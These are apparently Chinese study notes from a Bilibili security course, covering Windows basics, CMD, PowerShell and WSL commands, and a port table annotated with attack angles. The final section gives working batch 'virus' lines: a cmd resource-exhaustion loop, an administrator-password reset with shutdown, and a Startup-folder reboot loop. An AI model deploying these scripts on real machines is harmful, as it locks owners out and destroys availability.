声明!
学习视频来自B站up主 **泷羽sec** 有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!有兴趣的小伙伴可以点击下面连接进入b站主页[B站泷羽sec](https://space.bilibili.com/350329294)
目录
4.Windows Subsystem for Linux (WSL)
一、基本概念
1.操作系统定义:
Windows 是一种操作系统,它是计算机硬件和软件之间的桥梁,负责管理计算机的硬件资源(如 CPU、内存、硬盘、显卡等),并为各种应用程序提供运行环境。例如,当你打开一个文字处理软件,操作系统会分配内存给这个软件,让它能够正常运行。
2.用户账户:
Windows 可以设置多个用户账户,每个账户有自己的权限和设置。有管理员账户和标准用户账户之分。管理员账户拥有最高权限,可以安装软件、更改系统设置等;标准用户账户可以使用软件,但在进行某些系统更改时可能需要管理员权限。比如,在一个家庭计算机上,家长可能使用管理员账户,孩子使用标准用户账户,这样可以限制孩子对系统进行一些可能有风险的操作。
二、基本操作
1.鼠标操作:
1.1单击:用于选择一个对象,如文件、文件夹或图标。例如,在桌面上单击一个应用程序图标,就可以选中它。
1.2双击:用于打开一个对象,如双击一个文档文件,就会根据该文件类型关联的程序将其打开。如果是.docx 文件,会用 Microsoft Word(如果安装了)打开。
1.3右键单击:会弹出一个包含多种操作选项的菜单,这些选项与被单击的对象相关。比如,右键单击一个文件,可以选择复制、删除、重命名等操作。
1.4拖动:可以将一个对象从一个位置移动到另一个位置。比如,将一个文件从一个文件夹拖动到另一个文件夹,就实现了文件的移动。
2.键盘操作:
2.1快捷键:Windows 有许多快捷键,如 “Ctrl + C” 用于复制,“Ctrl + V” 用于粘贴,“Windows 键 + E” 用于打开文件资源管理器等。这些快捷键可以提高操作效率。例如,在复制和粘贴文本或文件时,使用快捷键比通过鼠标右键菜单操作更快捷。
3.开机和关机:
3.1开机:按下计算机的电源按钮启动计算机,Windows 会进行一系列的自检和加载系统文件的过程,然后进入桌面。这个过程可能因计算机硬件配置和安装的软件数量而有所不同。
3.2关机:通过点击开始菜单中的 “关机” 选项来关闭计算机。正确的关机方式可以避免数据丢失和对计算机硬件造成损害。此外,还有 “睡眠” 和 “休眠” 模式。睡眠模式会将计算机当前的状态保存到内存中,耗电量较低,唤醒计算机时可以快速恢复到之前的状态;休眠模式会将计算机的状态保存到硬盘中,耗电量几乎为零,唤醒计算机时需要从硬盘中读取之前保存的数据来恢复状态。
三、基本功能
1.桌面和任务栏管理:
1.1桌面图标:可以添加、删除或重新排列桌面上的图标,这些图标代表了应用程序、文件夹或文件的快捷方式。例如,将经常使用的软件图标放在桌面上,方便快速打开。
1.2任务栏:可以调整任务栏的位置(如将其移到屏幕的左侧、右侧或顶部),还可以对任务栏上的图标进行管理。比如,固定或取消固定应用程序到任务栏,通过任务栏的 “开始” 菜单来启动各种应用程序。
2.文件和文件夹管理:
2.1文件资源管理器:这是 Windows 用于管理文件和文件夹的核心工具。可以在其中浏览计算机中的所有文件和文件夹,包括本地硬盘、外部存储设备(如 U 盘、移动硬盘)等。在文件资源管理器中,可以进行文件和文件夹的创建、删除、复制、移动、重命名等操作。例如,在 “下载” 文件夹中找到一个安装程序文件,然后将其移动到专门的 “软件安装” 文件夹中。
2.2文件类型和关联:Windows 根据文件的扩展名来识别文件类型,并且每个文件类型会关联一个默认的应用程序来打开它。例如,.jpg 文件通常关联到图片查看软件,.mp3 文件关联到音乐播放软件。用户可以根据自己的喜好更改文件关联,比如选择不同的图片查看器来打开.jpg 文件。
四、Windows和Linux区别
特点
|
Windows
| Linux |
⽤户界⾯
|
主要使⽤图形⽤户界⾯(GUI),也提供命令⾏界⾯
(CLI)
|
主要通过命令⾏界⾯(CLI)操作,也有 GUI 选项
|
⽂件系统
| 已驱动器盘符起始,或通过目录挂载分区 | fhs目录结构,块设备挂载到目录(一切都是文件) |
开源与闭源
|
⼤部分是闭源软件
|
⼤部分是开源软件
|
软件安装
|
通过安装程序和 WindowsStore
|
通过包管理器(如
apt
、
yum、
dnf
)
|
权限管理
|
⽤户账户控制(UAC)
|
基于⽤户和组的权限管理
|
开发环境
|
.NET Framework、Visual Studio
|
GCC、Python、Java、各种开发⼯具
|
命令⾏⼯具
|
PowerShell、CMD、Windows Terminal
|
Bash、Zsh、Fish等
|
默认 Shell
|
CMD(命令提示符)
|
Bash(⼤多数发⾏版)
|
系统更新
|
通过 Windows Update
|
通过包管理器或命令⾏更新
|
硬件兼容性
|
更加⼴泛的硬件⽀持
|
⼀些硬件可能需要额外的驱动⽀持
|
安全性
|
相对较多的病毒和恶意软件攻击⻛险
|
由于开源和权限管理,安全性较⾼
|
路径格式
|
使⽤反斜杠(\),如
C:\Users\User\Documents
|
使⽤斜杠(/),如
/home/user/documents
|
系统配置
|
配置⽂件通常存储在注册表或特定⽬录中
|
配置⽂件通常为⽂本⽂件,位于/etc
⽬录或⽤户主⽬录下(
如
~/.config )
|
五、Windows四种shell
1.命令提示符(CMD)
命令 | 描述 |
dir | 用于显示指定目录中的文件和子目录列表 |
cd | 用于更改当前目录 |
md(mkdir) | 用于创建目录 |
rd(rmdir) | 用于删除目录 |
del(erase) | 用于删除文件 |
ren(rename) | 用于重命名文件或目录 |
copy | 用于复制文件 |
xcopy | 用于复制目录及其内容 |
move | 用于移动文件或目录 |
ipconfig | 用于显示和管理Windows计算机上所有网络接口的IP配置 |
2. Windows PowerShell
命令 | 描述 |
Get-Command | 获取所有PowerShell命令,包括Cmdlet、Alias、Function等 |
Get-Process | 获取当前系统上运行的所有进程的信息 |
Get-Help | 显示有关Windows PowerShell命令和概念的信息 |
Get-History | 获取在当前会话中输入的命令的列表 |
Get-Job | 获取在当前会话中运行的Windows PowerShell后台作业 |
Get-Date | 获取当前日期和时间 |
Get-Member | 获取对象的属性和方法 |
Get-Random | 从集合中获取随机数或随机选择对象 |
Get-Variable | 获取当前控制台中的变量 |
Get-EventLog | 获取本地或远程计算机上的事件日志或事件日志列表中的事件 |
Get-ChildItem | 获取一个或多个指定位置中的项和子项 |
Get-Content | 获取指定位置的项的内容 |
Set-Date | 设置计算机上的系统时间 |
Set-Variable | 设置变量的值,如果该变量还不存在,则创建该变量 |
Set-Service | 启动、停止和挂起服务并更改服务的属性 |
Test-Path | 检查计算机上是否存在某个文件和文件夹 |
Rename-Item | 重命名文件和文件夹 |
Move-Item | 移动文件和文件夹 |
Invoke-Item | 在PowerShell提示符中打开应用程序或文件 |
Get-WmiObject | 获取Windows Management Instrumentation(WMI)类的实例或可用类的相关信息 |
3.Windows Terminal
3.1描述:是微软推出的一款现代化、功能丰富的命令行工具,旨在为用户提供一个更加高效和便捷的终端环境。
3.2特点:集成了多种终端类型,包括传统的命令行界面、PowerShell、WSL终端等,用户可以根据需要自由切换。
支持多标签页功能,允许用户在同一时间打开多个终端会话,并通过快捷键或拖动标签页进行切换,提高了工作效率。
用户可以通过修改背景颜色、文本颜色、字体、光标形状等设置来自定义Windows Terminal的外观,以满足个性化需求。这些设置可以通过JSON配置文件进行调整。
完全支持Unicode和UTF-8字符编码,可以无问题地显示各种语言和符号。
利用GPU加速进行渲染,Windows Terminal实现了流畅的动画、改善的文本质量和整体更好的性能。
支持显示表情符号和TrueType字体,增强了终端界面的视觉效果。
包含搜索功能,允许用户在终端输出中搜索文本,方便用户快速定位信息。
提供了常见操作的键盘快捷键,提高了高级用户的效率。
3.3常用命令
PowerShell指令
命令 | 描述 |
Get-Process | 列出当前系统中的所有进程 |
Start-Process notepad | 打开记事本程序 |
Stop-Process -Name "notepad" | 停止名为“记事本”的进程 |
命令提示符(CMD)指令
命令 | 描述 |
dir | 列出当前目录下的文件和文件夹 |
cd | 更改当前目录 |
ping www.baidu.com | 测试与百度网站的连接情况 |
WSL(Linux子系统)指令
命令 | 描述 |
ls | 列出当前Linux目录下的文件和文件夹(类似于CMD中的dir) |
cd | 更改当前Linux目录(与CMD中的cd 命令相同) |
pwd | 显示当前Linux工作目录的完整路径 |
3.4快捷键
命令 | 描述 |
Ctrl+N | 打开一个新的标签页 |
Ctrl+W | 关闭当前标签页 |
Ctrl+Tab、Ctrl+Shift+Tab | 在标签页之间切换 |
Ctrl+Shift+F | 打开搜索功能 |
Alt+Shift+D | 在当前标签页内分割出一个新的窗格(pane) |
4.Windows Subsystem for Linux (WSL)
4.1描述:是微软开发的一项技术,它允许用户在Windows系统中直接运行完整的Linux环境,而无需虚拟机。
4.2特点:
原声兼容性:
- WSL允许在Windows上运行原生的Linux二进制文件,无需修改或重新编译。
- 开发者可以在Windows环境中轻松地访问和运行各种Linux工具、脚本和应用程序。
集成体验:
- WSL与Windows紧密集成,可以通过Windows Terminal或其他终端应用程序访问Linux环境。
- 用户可以在同一窗口中同时运行Windows和Linux应用程序,无需切换操作系统或启动虚拟机。
轻量级虚拟化:
- WSL2利用了轻量级虚拟化技术,在Windows内核之上运行完整的Linux内核。
- 这使得WSL2在性能方面表现更优,同时减少了资源占用和启动时间。
多个Linux发行版支持:
- WSL允许用户安装和运行多个不同的Linux发行版,如Ubuntu、Debian、SUSE等。
- 这使得用户可以选择自己喜欢的Linux环境,并根据需要进行切换和管理。
性能提升:
- 特别是WSL2版本,采用了虚拟化技术,提供了更接近原生Linux的性能。
- 在文件系统性能、网络性能和Docker支持方面表现出色。
资源效率:
- 相比传统虚拟机,WSL占用的系统资源较少,启动速度快。
- 且与Windows系统集成度高,便于文件共享和剪贴板互通。
4.3常用命令
查看帮助
命令 | 描述 |
wsl --help | 显示WSL命令的使用方法和可用选项 |
列出已安装的Linux子系统
命令 | 描述 |
wsl --list --verbose、wsl -l -v | 列出所有已安装的Linux发行版及其详细信息 |
列出网上可用的Linux子系统
命令 | 描述 |
wsl --list --online、wsl -l -o | 列出可在WSL中安装的Linux发行版 |
安装Linux子系统
命令 | 描述 |
wsl --install | 安装默认的Linux子系统(通常是Ubuntu) |
wsl --install -d <DistributionName> | 安装指定名称的Linux子系统 |
启动Linux子系统
命令 | 描述 |
wsl | 启动默认的Linux子系统 |
wsl -d <DistroName>、wsl --distribution <DistroName> | 启动指定名称的Linux子系统 |
终止Linux子系统
命令 | 描述 |
wsl -t <DistroName> | 终止正在运行的指定名称的Linux子系统 |
wsl --shutdown | 终止所有正在运行的Linux子系统 |
设置默认用户
命令 | 描述 |
<DistroName>.exe config --default-user <Username> | 为指定的Linux子系统设置默认用户 |
导出和导入Linux子系统
命令 | 描述 |
wsl --export <DistroName> <OutputPath> | 将指定子系统导出为tar文件 |
wsl --import <NewDistroName> <ImportPath> <TarFilePath> | 将备份的子系统导入到新子系统 |
卸载Linux子系统
命令 | 描述 |
wsl --unregister <DistroName> | 卸载指定名称的Linux子系统 |
查看WSL状态
命令 | 描述 |
wsl --status | 显示WSL子系统的状态 |
六、Windows常⽤命令(cmd)
命令 | 描述 |
dir
|
列出当前⽬录中的⽂件和⼦⽬录
|
cd
| 更改当前⽬录 |
mkdir
|
创建新⽬录
|
rmdir
|
删除空⽬录
|
del
|
删除⽂件
|
copy |
复制⽂件
|
move
|
移动或重命名⽂件
|
xcopy
|
复制⽂件和⽬录,包括⼦⽬录
|
robocopy
|
⾼级⽂件复制⼯具
|
ipconfig
| 显示⽹络接⼝的 IP 配置信息 |
ping
| 测试⽹络连接 |
tracert
|
跟踪数据包到达⽬标的路径
|
netstat
|
显示⽹络连接和端⼝状态
|
tasklist
|
列出当前运⾏的进程
|
taskkill
|
终⽌⼀个或多个进程
|
systeminfo
|
显示系统信息
|
chkdsk
|
检查磁盘并修复错误
|
sfc /scannow
|
扫描并修复系统⽂件
|
shutdown
|
关机、重启或注销计算机
|
get-help
| 获取命令或命令⾏⼯具的帮助信息 |
set
| 显示或设置环境变量 |
echo
|
显示⼀段⽂本
|
cls
|
清除命令提示符窗⼝中的内容
|
help
| 显示所有可⽤命令及其简要说明 |
assoc
|
显示或更改⽂件扩展名与程序的关联
|
ftype
|
显示或更改⽂件类型的打开⽅式
|
copy con
|
从控制台输⼊并创建新⽂件
|
find
|
在⽂件中查找字符串
|
findstr
| 在⽂件中查找字符串(⽀持正则表达式) |
path
|
显示或设置可执⾏⽂件搜索路径
|
setx
|
设置或修改环境变量(持久化)
|
taskschd.msc
| 打开任务调度程序 |
regedit
|
打开注册表编辑器
|
get-process
|
显示 PowerShell 中的所有进程
|
get-service
| 显示所有服务的状态 |
net user
|
列出或管理⽤户账户
|
net localgroup
| 显示或管理本地组 |
net use
|
显示或连接⽹络共享
|
systeminfo
|
显示计算机的详细信息
|
wmic
| Windows 管理⼯具命令⾏界⾯ |
diskpart
|
磁盘分区管理⼯具
|
shutdown /s /t <
秒数
>
| 在指定秒数后关机 |
shutdown /r /t <
秒数
>
|
在指定秒数后重启
|
schtasks
| 创建、删除、配置和显示任务计划 |
whoami
|
显示当前⽤户的名称
|
ver
|
显示 Windows 的版本信息
|
hostname
| 显示计算机的⽹络名称 |
robocopy
|
复制⽂件和⽬录(具有恢复功能)
|
powercfg
|
管理电源设置
|
netsh
|
配置⽹络设置
|
cipher
| 管理加密⽂件和⽂件夹 |
nslookup | 探测域名信息 |
七、常见端口对应的服务
端口 | 服务 |
21 | ftp |
23 | tenlnet |
80 | web |
80-89 | 可能是web |
443 | ssl心脏滴血漏洞以及一些web漏洞测试 |
445 | smb |
1433 | mssql |
1521 | oracle |
2082/2083 | cpanel主机管理系统登陆(国外用的较多)2222 da虚拟主机管理系统登陆(国外较多) |
3128 | squid代理默认端口-漫游内网 |
3306 | mysql |
3311/3312 | kangle主机管理系统登陆 |
3389 | 远程桌面 |
5432 | postgreSQL |
5900 | vnc |
6379 | redis(未授权) |
7001/7002 | weblogic 默认弱口令,反序列化 |
7778 | kloxo主机控制面板登录 |
8000-9090 | 一些常见的web端口,有些运维喜欢把管理后台开这些非80端口上面 |
8080 | tomacat、wdcp主机管理系统,默认弱口令 |
8080/8090/9090 | jboss |
8083 | vestacp 主机管理系统(国外较多) |
8649 | ganglia |
8888 | 宝塔 主机管理默认端口 |
10000 | virtuamin/webmin 服务器虚拟主机管理系统 |
11211 | memcache 未授权访问 |
27017/27018 | mongodb 未授权访问 |
28017 | mongodb 统计系统页面 |
八、cmd 编写bat病毒
8.1资源耗尽病毒(脚本 文件后缀名 .bat) (普通用户权限)(重启恢复)
echo start cmd >1.txt --将启动cmd的命令写入文本
echo %0 >>1.txt --无限启动文件命令写入文本
ren 1.txt 1. bat --将文本文件重命名成脚本文件
8.2锁机病毒 (管理员权限)(重启无法登录)
echo net user administrator 123456 > c:\windows\Temp\1.bat
echo shutdown /n /t 0 >> c:\windows\Temp\1.bat
8.3无限重启病毒 (管理员权限)(无限重启)
echo shutdown /n /t 0 > c:\windows\Temp\1.bat
copy c:\windows\Temp\1.bat "%USERPROFILE%\AppData
\Roaming\Microsoft\windows\Start\Menu\Programs
\Startup\"
8.4windows 系统目录接管与渗透的关系
"%USERPROFILE%\AppData\Roaming\Microsoft\windows
\Start\Menu\Programs\Startup\"
(开机自启目录)
c:\windows\Temp\1. bat (重启自动清空缓存)